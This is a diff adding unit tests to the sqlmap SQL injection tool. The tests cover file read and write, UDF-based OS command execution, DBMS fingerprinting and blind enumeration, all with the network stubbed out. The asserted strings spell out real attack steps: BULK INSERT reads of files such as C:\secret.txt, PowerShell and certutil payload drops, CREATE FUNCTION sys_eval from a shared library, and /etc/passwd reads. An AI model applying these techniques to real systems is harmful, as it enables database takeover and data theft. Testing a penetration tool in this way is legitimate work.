True + + def grab(name, data): + written["d"] = data + return "/out" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/f") + self.assertEqual(written["d"], b"ABCD") + # askCheckReadFile True -> suffix annotation + self.assertEqual(out, ["/out (same file)"]) + + # -- writeFile dispatch ------------------------------------------------ # + def test_writeFile_dispatches_to_stacked(self): + # With stacking available (conf.direct True), writeFile must route to + # stackedWriteFile and return its result. + set_dbms("MySQL") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"data") + calls = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + calls["cleanup"] = True + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["args"] = (localFile, remoteFile, fileType, forceCheck) + return True + + try: + res = FS().writeFile(path, "/var/www/x", "text", forceCheck=True) + finally: + os.remove(path) + self.assertIs(res, True) + self.assertEqual(calls["args"], (path, "/var/www/x", "text", True)) + self.assertTrue(calls["cleanup"]) + + +# --------------------------------------------------------------------------- # +# plugins/dbms/mssqlserver/filesystem.py # +# --------------------------------------------------------------------------- # +class TestMSSQLFilesystem(_FsBase): + import plugins.dbms.mssqlserver.filesystem as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + # -- _dataToScr (debug.exe script) ------------------------------------- # + def test_dataToScr_header_and_hex_bytes(self): + fs = self._handler() + lines = fs._dataToScr(b"AB", "chunk1") + # header: name / rcx / size(hex) / fill + self.assertEqual(lines[0], "n chunk1") + self.assertEqual(lines[1], "rcx") + self.assertEqual(lines[2], "%x" % 2) # size = 2 bytes + self.assertEqual(lines[3], "f 0100 %x 00" % 2) + # the data 'e' line: base addr 0x100, hex of 'A'(41) and 'B'(42) + self.assertEqual(lines[4], "e 100 41 42") + self.assertEqual(lines[-2], "w") + self.assertEqual(lines[-1], "q") + + def test_dataToScr_wraps_lines_and_advances_address(self): + # lineLen=20, so 21 bytes -> two 'e' lines; second starts at 0x100+20=0x114 + fs = self._handler() + content = bytes(bytearray(range(21))) # 21 bytes 0x00..0x14 + lines = fs._dataToScr(content, "c") + eLines = [ln for ln in lines if ln.startswith("e ")] + self.assertEqual(len(eLines), 2) + self.assertTrue(eLines[0].startswith("e 100 00 01 02")) + # 20 bytes consumed -> next address 0x100+0x14 = 0x114 + self.assertTrue(eLines[1].startswith("e 114 14")) + + # -- stackedReadFile (BULK INSERT + bin->hex extraction) --------------- # + def test_stackedReadFile_builds_bulk_insert_and_decodes(self): + fs = self._handler() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + + # UNION available -> single getValue returns the hex content directly + def getValue(query, *a, **k): + return encodeHex(b"file-bytes", binary=False) + + self.patch(self.module.inject, "getValue", getValue) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: True) + + result = fs.stackedReadFile("C:\\secret.txt") + + # the BULK INSERT statement loading the file into the support table + bulk = [q for q in stacked if q.startswith("BULK INSERT ")] + self.assertEqual(len(bulk), 1) + self.assertIn("FROM 'C:\\secret.txt'", bulk[0]) + self.assertIn("CODEPAGE='RAW'", bulk[0]) + # the bin->hex conversion routine must reference the 0..F charset + binhex = [q for q in stacked if "0123456789ABCDEF" in q] + self.assertEqual(len(binhex), 1) + self.assertIn("DATALENGTH", binhex[0]) + # result is the raw hex string returned by getValue + self.assertEqual(result, encodeHex(b"file-bytes", binary=False)) + + def test_stackedReadFile_chunked_when_no_union(self): + # No UNION technique -> COUNT(*) then per-row TOP-1 retrieval into a list + fs = self._handler() + self.patch(self.module.inject, "goStacked", lambda q, *a, **k: None) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: False) + + chunks = ["41", "42"] + + def getValue(query, *a, **k): + if query.startswith("SELECT COUNT(*)"): + return "2" + # the per-index extraction query + if "NOT IN (SELECT TOP" in query: + return chunks.pop(0) + return None + + self.patch(self.module.inject, "getValue", getValue) + result = fs.stackedReadFile("C:\\x") + self.assertEqual(result, ["41", "42"]) + + # -- unionWriteFile is explicitly unsupported -------------------------- # + def test_unionWriteFile_unsupported(self): + from lib.core.exception import SqlmapUnsupportedFeatureException + fs = self._handler() + self.assertRaises(SqlmapUnsupportedFeatureException, + fs.unionWriteFile, "a", "b", "binary") + + # -- _stackedWriteFilePS (PowerShell base64) --------------------------- # + def test_stackedWriteFilePS_uploads_base64_and_builds_ps(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append((content, name))) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + fs._stackedWriteFilePS("C:\\Windows\\Temp", b"payload", + "C:\\out.exe", "binary") + + expected_b64 = encodeBase64(b"payload", binary=False) + # the base64 payload goes to the .txt file; the .ps1 holds the decoder. + uploaded = "".join(c for c, name in writes if name.endswith(".txt")) + self.assertEqual(uploaded, expected_b64) + # the powershell command line: ByPass + reference to the .ps1 script + self.assertEqual(len(cmds), 1) + self.assertIn("powershell -ExecutionPolicy ByPass -File", cmds[0]) + + def test_stackedWriteFilePS_script_decodes_to_remote(self): + # Assert the PS script body contains the FromBase64String + Set-Content + # targeting the exact remote file path. + fs = self._handler() + script = {} + + def grab(content, path, name): + if name.endswith(".ps1"): + script["body"] = content + + self.patch(fs, "xpCmdshellWriteFile", grab) + self.patch(fs, "execCmd", lambda cmd: None) + fs._stackedWriteFilePS("C:\\T", b"abc", "C:\\target.dll", "binary") + self.assertIn("[System.Convert]::FromBase64String($Base64)", script["body"]) + self.assertIn('Set-Content -Path "C:\\target.dll"', script["body"]) + + # -- _stackedWriteFileCertutilExe (certutil base64) -------------------- # + def test_stackedWriteFileCertutil_splits_b64_and_decodes(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append(content)) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + # >500 chars of base64 so the splitter actually wraps lines + content = b"Z" * 600 + fs._stackedWriteFileCertutilExe("C:\\T", "local", content, + "C:\\out.bin", "binary") + + b64 = encodeBase64(content, binary=False) + # uploaded text == base64 rejoined on newline at 500-char boundaries + uploaded = writes[0] + self.assertEqual(uploaded.replace("\n", ""), b64) + self.assertEqual(uploaded.split("\n")[0], b64[:500]) + # certutil -decode command targeting the remote file + self.assertEqual(len(cmds), 1) + self.assertIn("certutil -f -decode", cmds[0]) + self.assertIn("C:\\out.bin", cmds[0]) + + +# --------------------------------------------------------------------------- # +# lib/takeover/udf.py (+ MySQL/PostgreSQL CREATE FUNCTION overrides) # +# --------------------------------------------------------------------------- # +class TestUDF(_FsBase): + import lib.takeover.udf as module + + def _udf(self): + u = self.module.UDF() + u.cmdTblName = "cmdtbl" + u.tblField = "data" + return u + + # -- udfForgeCmd ------------------------------------------------------- # + def test_udfForgeCmd_wraps_quotes(self): + u = self._udf() + self.assertEqual(u.udfForgeCmd("whoami"), "'whoami'") + # already partially quoted -> not doubled + self.assertEqual(u.udfForgeCmd("'whoami"), "'whoami'") + self.assertEqual(u.udfForgeCmd("whoami'"), "'whoami'") + + def _escaped(self, u, cmd): + # mirror udfExecCmd's argument preparation: forge then escape via the + # active DBMS unescaper. (The escaper may hex-encode the literal; we want + # to assert the SELECT wrapping/udf-name wiring, not re-test escaping.) + return self.module.unescaper.escape(u.udfForgeCmd(cmd)) + + # -- udfExecCmd -------------------------------------------------------- # + def test_udfExecCmd_builds_select_call(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id") + # default udfName is sys_exec; arg is the forged+escaped command + self.assertEqual(captured["q"], + "SELECT sys_exec(%s)" % self._escaped(u, "id")) + + def test_udfExecCmd_custom_udf_name(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id", udfName="my_fn") + self.assertEqual(captured["q"], + "SELECT my_fn(%s)" % self._escaped(u, "id")) + + # -- udfEvalCmd -------------------------------------------------------- # + def test_udfEvalCmd_direct_joins_lines(self): + # conf.direct -> uses udfExecCmd output, converting \r to \n + set_dbms("MySQL") + conf.direct = True + u = self._udf() + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: ["foo\rbar", "baz"]) + out = u.udfEvalCmd("id") + self.assertEqual(out, "foo\nbarbaz") + + def test_udfEvalCmd_stacked_insert_select_delete(self): + # non-direct -> INSERT via UDF, SELECT back, then DELETE + set_dbms("MySQL") + conf.direct = False + u = self._udf() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", + lambda q, *a, **k: "RESULT") + out = u.udfEvalCmd("id", udfName="sys_eval") + self.assertEqual( + stacked[0], + "INSERT INTO cmdtbl(data) VALUES (sys_eval(%s))" + % self._escaped(u, "id")) + self.assertEqual(stacked[1], "DELETE FROM cmdtbl") + self.assertEqual(out, "RESULT") + + # -- udfCheckNeeded (pruning of the sys UDF set) ----------------------- # + def test_udfCheckNeeded_prunes_unrequested_udfs(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + # nothing requested -> everything irrelevant gets popped + conf.fileRead = conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertEqual(u.sysUdfs, {}) + + def test_udfCheckNeeded_keeps_exec_for_oscmd(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + conf.fileRead = conf.commonFiles = None + conf.osPwn = False + conf.osCmd = True # requests command exec + conf.osShell = conf.regRead = conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + # sys_eval & sys_exec retained; fileread/bineval pruned + self.assertIn("sys_eval", u.sysUdfs) + self.assertIn("sys_exec", u.sysUdfs) + self.assertNotIn("sys_fileread", u.sysUdfs) + self.assertNotIn("sys_bineval", u.sysUdfs) + + def test_udfCheckNeeded_keeps_fileread_for_pgsql_fileread(self): + # sys_fileread is retained ONLY when a file read is requested AND the + # back-end is PostgreSQL (per the explicit DBMS.PGSQL guard). + set_dbms("PostgreSQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertIn("sys_fileread", u.sysUdfs) + + def test_udfCheckNeeded_drops_fileread_for_mysql_fileread(self): + # On MySQL the same file-read request still prunes sys_fileread (the + # guard keeps it only for PostgreSQL). + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertNotIn("sys_fileread", u.sysUdfs) + + # -- udfCheckAndOverwrite --------------------------------------------- # + def test_udfCheckAndOverwrite_new_udf_scheduled(self): + # UDF does not exist -> no overwrite prompt -> scheduled for creation + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertIn("sys_eval", u.udfToCreate) + + def test_udfCheckAndOverwrite_existing_no_overwrite(self): + # UDF exists and user declines overwrite -> NOT scheduled + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: True) + self.patch(u, "_askOverwriteUdf", lambda udf: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertNotIn("sys_eval", u.udfToCreate) + + # -- udfInjectCore ----------------------------------------------------- # + def test_udfInjectCore_uploads_and_creates(self): + # Drive the full inject orchestration with the file write succeeding: + # every requested UDF must end up created and the support table built. + set_dbms("MySQL") + calls = {"created": [], "supportType": None} + + class U(self.module.UDF): + def __init__(self): + super(U, self).__init__() + self.cmdTblName = "cmdtbl" + self.tblField = "data" + self.udfLocalFile = __file__ # any existing file (checkFile passes) + self.udfRemoteFile = "/tmp/lib.so" + + def udfSetRemotePath(self): + pass + + def writeFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["write"] = (remoteFile, fileType, forceCheck) + return True + + def udfCreateFromSharedLib(self, udf, inpRet): + calls["created"].append(udf) + self.createdUdf.add(udf) + + def udfCreateSupportTbl(self, dataType): + calls["supportType"] = dataType + + u = U() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + # binary upload forced; remote path threaded through + self.assertEqual(calls["write"], ("/tmp/lib.so", "binary", True)) + self.assertEqual(calls["created"], ["sys_eval"]) + # MySQL support table uses longtext + self.assertEqual(calls["supportType"], "longtext") + + def test_udfInjectCore_noop_when_all_already_created(self): + # If every UDF is already created, nothing is uploaded and it returns True + set_dbms("MySQL") + + class U(self.module.UDF): + def writeFile(self, *a, **k): + raise AssertionError("writeFile must not be called") + + u = U() + u.createdUdf = {"sys_eval"} + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + self.assertEqual(u.udfToCreate, set()) + + # -- MySQL udfCreateFromSharedLib (CREATE FUNCTION ... SONAME) --------- # + def test_mysql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.mysql.takeover as mod + set_dbms("MySQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfSharedLibName = "libsabc" + t.udfSharedLibExt = "so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib("sys_eval", {"return": "string"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval") + self.assertEqual( + stacked[1], + "CREATE FUNCTION sys_eval RETURNS string SONAME 'libsabc.so'") + self.assertIn("sys_eval", t.createdUdf) + + # -- PostgreSQL udfCreateFromSharedLib (CREATE OR REPLACE FUNCTION) ---- # + def test_pgsql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.postgresql.takeover as mod + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfRemoteFile = "/tmp/libsabc.so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib( + "sys_eval", {"input": ["text"], "return": "text"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval(text)") + self.assertEqual( + stacked[1], + "CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS " + "'/tmp/libsabc.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL " + "INPUT IMMUTABLE") + + # -- PostgreSQL udfSetRemotePath (OS-dependent path) ------------------- # + def test_pgsql_udfSetRemotePath_linux_and_windows(self): + # Linux -> /tmp/; Windows -> bare (saved into the data dir). + # Set kb.os directly to avoid Backend.setOs()'s interactive OS-mismatch + # prompt when flipping the OS mid-test. + import plugins.dbms.postgresql.takeover as mod + from lib.core.enums import OS + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfSharedLibName = "libsxyz" + t.udfSharedLibExt = "so" + + _os = kb.os + try: + kb.os = OS.LINUX + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "/tmp/libsxyz.so") + + kb.os = OS.WINDOWS + t.udfSharedLibExt = "dll" + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "libsxyz.dll") + finally: + kb.os = _os + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_fingerprint.py b/tests/test_fingerprint.py new file mode 100644 index 00000000000..879420feb7a --- /dev/null +++ b/tests/test_fingerprint.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS version/fork fingerprinting (plugins/dbms//fingerprint.py). Each +plugin's getFingerprint()/checkDbms() probes the backend with a cascade of +boolean expressions (inject.checkBooleanExpression) and version reads +(inject.getValue). Those are the network seam: stubbing them lets the dialect's +whole detection cascade run offline. We drive every targeted plugin with the +oracle pinned both True and False so opposite branches of the cascade execute. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import Backend + +# (display name, fingerprint module, handler package) +TARGETS = [ + ("MySQL", "plugins.dbms.mysql.fingerprint", "plugins.dbms.mysql"), + ("PostgreSQL", "plugins.dbms.postgresql.fingerprint", "plugins.dbms.postgresql"), + ("Microsoft SQL Server", "plugins.dbms.mssqlserver.fingerprint", "plugins.dbms.mssqlserver"), + ("Oracle", "plugins.dbms.oracle.fingerprint", "plugins.dbms.oracle"), + ("IBM DB2", "plugins.dbms.db2.fingerprint", "plugins.dbms.db2"), + ("Microsoft Access", "plugins.dbms.access.fingerprint", "plugins.dbms.access"), + ("Firebird", "plugins.dbms.firebird.fingerprint", "plugins.dbms.firebird"), + ("Sybase", "plugins.dbms.sybase.fingerprint", "plugins.dbms.sybase"), + ("SAP MaxDB", "plugins.dbms.maxdb.fingerprint", "plugins.dbms.maxdb"), + ("HSQLDB", "plugins.dbms.hsqldb.fingerprint", "plugins.dbms.hsqldb"), + ("H2", "plugins.dbms.h2.fingerprint", "plugins.dbms.h2"), + ("Presto", "plugins.dbms.presto.fingerprint", "plugins.dbms.presto"), + ("Vertica", "plugins.dbms.vertica.fingerprint", "plugins.dbms.vertica"), + ("Informix", "plugins.dbms.informix.fingerprint", "plugins.dbms.informix"), + ("InterSystems Cache", "plugins.dbms.cache.fingerprint", "plugins.dbms.cache"), + ("MonetDB", "plugins.dbms.monetdb.fingerprint", "plugins.dbms.monetdb"), + ("Altibase", "plugins.dbms.altibase.fingerprint", "plugins.dbms.altibase"), + ("ClickHouse", "plugins.dbms.clickhouse.fingerprint", "plugins.dbms.clickhouse"), + ("CrateDB", "plugins.dbms.cratedb.fingerprint", "plugins.dbms.cratedb"), + ("Cubrid", "plugins.dbms.cubrid.fingerprint", "plugins.dbms.cubrid"), + ("Mckoi", "plugins.dbms.mckoi.fingerprint", "plugins.dbms.mckoi"), + ("Virtuoso", "plugins.dbms.virtuoso.fingerprint", "plugins.dbms.virtuoso"), + ("Raima Database Manager", "plugins.dbms.raima.fingerprint", "plugins.dbms.raima"), + ("eXtremeDB", "plugins.dbms.extremedb.fingerprint", "plugins.dbms.extremedb"), + ("FrontBase", "plugins.dbms.frontbase.fingerprint", "plugins.dbms.frontbase"), + ("Apache Derby", "plugins.dbms.derby.fingerprint", "plugins.dbms.derby"), + ("MimerSQL", "plugins.dbms.mimersql.fingerprint", "plugins.dbms.mimersql"), +] + + +def _handler_cls(pkg): + main = importlib.import_module(pkg) + return [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + + +# Dialects whose non-extensive getFingerprint emits Format.getDbms() (i.e. +# " ") rather than a hard-coded DBMS.* constant, so the version +# that flowed through (Backend.setVersionList(["1.0"])) actually appears in the +# output. (In the test harness Backend.getDbms() is None because set_dbms uses +# forceDbms, so for these the dialect NAME is absent but "1.0" is load-bearing.) +ACTVER_DBMS = frozenset(( + "MySQL", "Microsoft SQL Server", "Firebird", "HSQLDB", +)) + +# Dialects whose getFingerprint has a fork concept: with the oracle pinned True +# the first fork-detection branch fires (MySQL->MariaDB, PostgreSQL->CockroachDB, +# Oracle->DM8, Cache->Iris, H2->Apache Ignite, Presto->Trino) and the output +# gains a " (... fork)" suffix. Pinned False, no fork is emitted. +FORK_DBMS = frozenset(( + "MySQL", "PostgreSQL", "Oracle", "InterSystems Cache", "H2", "Presto", +)) + +# Dialects whose getFingerprint genuinely needs more extraction state under +# conf.extensiveFp and raises a narrow KeyError before completing. +EXTENSIVE_RAISERS = frozenset(( + "SAP MaxDB", +)) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self._saved = {k: conf.get(k) for k in ("batch", "extensiveFp", "api", "dbms", "forceDbms")} + self._kb = {k: kb.get(k) for k in ("dbmsVersion", "forcedDbms", "dbms", "stickyDBMS", + "resolutionDbms", "os", "osVersion", "osSP")} + conf.batch = True + conf.extensiveFp = False + conf.api = False + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + + def _drive(self, name, modpath, pkg, oracle): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + + # Real content: the dialect's own identity must have flowed into the + # output, not merely the constant "back-end DBMS: " prefix. + if name in ACTVER_DBMS: + # Format.getDbms() embedded the version list -> "1.0" must appear. + self.assertIn("1.0", fp, + "%s fp lost the version that flowed through: %r" % (name, fp)) + else: + # the dialect name (DBMS.* constant) must appear verbatim. + self.assertIn(Backend.getForcedDbms(), fp, + "%s fp lost its dialect name: %r" % (name, fp)) + + # Fork detection: with the oracle pinned True the first fork branch + # fires for the fork-bearing dialects; pinned False none do. This is the + # only thing distinguishing the True/False runs for those dialects. + if name in FORK_DBMS: + if oracle: + self.assertIn("fork)", fp, + "%s did not emit a fork label with oracle=True: %r" % (name, fp)) + else: + self.assertNotIn("fork)", fp, + "%s emitted a fork label with oracle=False: %r" % (name, fp)) + else: + # dialects with no fork concept never emit a fork label + self.assertNotIn("fork)", fp) + + # checkDbms walks the dialect's detection cascade end-to-end; it must + # return a real boolean verdict (True/False), never None or a raise. + verdict = handler.checkDbms() + self.assertIn(verdict, (True, False), + "%s checkDbms() returned a non-bool: %r" % (name, verdict)) + return fp + + def test_fingerprint_oracle_true(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, True) + + def test_fingerprint_oracle_false(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, False) + + def test_fingerprint_extensive(self): + # conf.extensiveFp drives the deeper comment-/version-/dbms-check cascades + # (getFingerprint past the early return) — much more code per dialect. + # In this mode every dialect's output is built around an + # "active fingerprint: " line, so that header is the + # real content proof; the version "1.0" rides along for the ACTVER set. + conf.extensiveFp = True + try: + for name, modpath, pkg in TARGETS: + for oracle in (True, False): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + if name in EXTENSIVE_RAISERS: + # this dialect genuinely needs extra extraction state under + # extensiveFp; assert it gets exactly that far and no further. + with self.assertRaises(KeyError): + handler.getFingerprint() + continue + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + self.assertIn("active fingerprint:", fp, + "%s extensiveFp produced no active-fingerprint line: %r" % (name, fp)) + if name in ACTVER_DBMS: + self.assertIn("1.0", fp, + "%s extensiveFp lost the version: %r" % (name, fp)) + finally: + conf.extensiveFp = False + + +def _make(name, modpath, pkg): + def _t(self): + # _drive already asserts real, dialect-specific content (version/name + + # fork label + a boolean checkDbms verdict) for both oracle states. + self._drive(name, modpath, pkg, True) + self._drive(name, modpath, pkg, False) + return _t + + +# one named test per DBMS for clearer reporting +for _name, _mod, _pkg in TARGETS: + setattr(TestFingerprint, "test_fp_%s" % _pkg.split(".")[-1], _make(_name, _mod, _pkg)) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_generic_enum_more.py b/tests/test_generic_enum_more.py new file mode 100644 index 00000000000..683a459b74e --- /dev/null +++ b/tests/test_generic_enum_more.py @@ -0,0 +1,865 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional unit tests for the generic enumeration mixins, deliberately targeting +branches NOT already exercised by tests/test_databases_enum.py, +tests/test_users_enum.py, tests/test_search_enum.py and tests/test_generic_more.py +(which cover the conf.direct INBAND happy paths). + +This file drives the OTHER branches: + + * plugins/generic/databases.py - the INFERENCE paths (conf.direct=False + + isInferenceAvailable via kb.injection BOOLEAN state: count -> per-row getValue), + the MSSQL inband-paging fallback in getDbs(), getColumns onlyColNames / dumpMode, + the getColumns MySQL<5 / ACCESS bruteforce fallback, getCount over cachedTables, + and getStatements/getProcedures empty/none branches. + * plugins/generic/users.py - getPrivileges role/grant parsing per DBMS in BOTH the + inband path (PGSQL digit columns, MySQL<5 Y/N, Firebird letters, DB2 grant codes) + and the INFERENCE path (count then per-index privilege), getPasswordHashes + grouping/dedup in the inference path, getUsers inference, isDba MSSQL. + * plugins/generic/entries.py - dumpTable INFERENCE path (count -> column-pivot via + per-(index,column) getValue), the empty-table branch, the count-failure skip, + and the resolveKeysetCursor disabling via conf.noKeyset. + * plugins/generic/search.py - searchDb / searchTable / searchColumn INFERENCE + paths (count then per-index getValue), and the MySQL<5 bruteforce branch of + searchTable / searchColumn. + +Recipe (proven in tests/test_databases_enum.py): patch the module's inject.getValue +with canned rows in the EXACT shape the branch parses; for inference branches return +a positive int for EXPECTED.INT count calls then the per-row/per-index values; set the +needed kb.data flags; assert the exact resulting structure (sorted lists, +{db:{tbl:{col:type}}} dicts, privilege sets, dumpedTable values). + +CRITICAL STATE HYGIENE: every test snapshots and restores conf.*, the patched +inject.getValue (per module), kb.data.cached*, kb.hintValue, kb.injection.data, +Backend/forcedDbms in tearDown so nothing leaks into the rest of the suite. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD + +import plugins.generic.databases as dbmod +import plugins.generic.users as umod +import plugins.generic.search as smod +import plugins.generic.entries as emod +from plugins.generic.databases import Databases +from plugins.generic.users import Users +from plugins.generic.search import Search +from plugins.generic.entries import Entries + +_NOOP = lambda self: None + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +# --------------------------------------------------------------------------- # +# databases.py +# --------------------------------------------------------------------------- # + +class _DbBase(unittest.TestCase): + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_checkBool = dbmod.inject.checkBooleanExpression + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_hintValue = kb.get("hintValue") + self._saved_choices = dict(kb.choices) + self._saved_readInput = dbmod.readInput + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + dbmod.inject.checkBooleanExpression = self._saved_checkBool + dbmod.readInput = self._saved_readInput + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + kb.choices.clear() + kb.choices.update(self._saved_choices) + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + def _fresh(self): + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestDatabasesInference(_DbBase): + def test_get_columns_inference_pgsql_types(self): + # Blind column enumeration on PostgreSQL: a count, then for each index a + # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + conf.db = "public" + conf.tbl = "users" + + names = ["id", "email"] + state = {"i": 0, "name": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + if state["name"]: + val = names[state["i"] % len(names)] + state["i"] += 1 + state["name"] = False + return [val] + state["name"] = True + return ["integer"] + + dbmod.inject.getValue = gv + result = d.getColumns() + cols = result["public"]["users"] + self.assertEqual(len(cols), 2) + self.assertEqual(cols.get("id"), "integer") + + def test_get_columns_inference_dump_mode_collist(self): + # dumpMode with an explicit conf.col list: in the inference branch the + # columns are taken straight from colList (no count/type queries at all) + # and stored with value None. Asserting no getValue ran proves the + # dump-mode shortcut, not a network round-trip. + set_dbms("MySQL") + 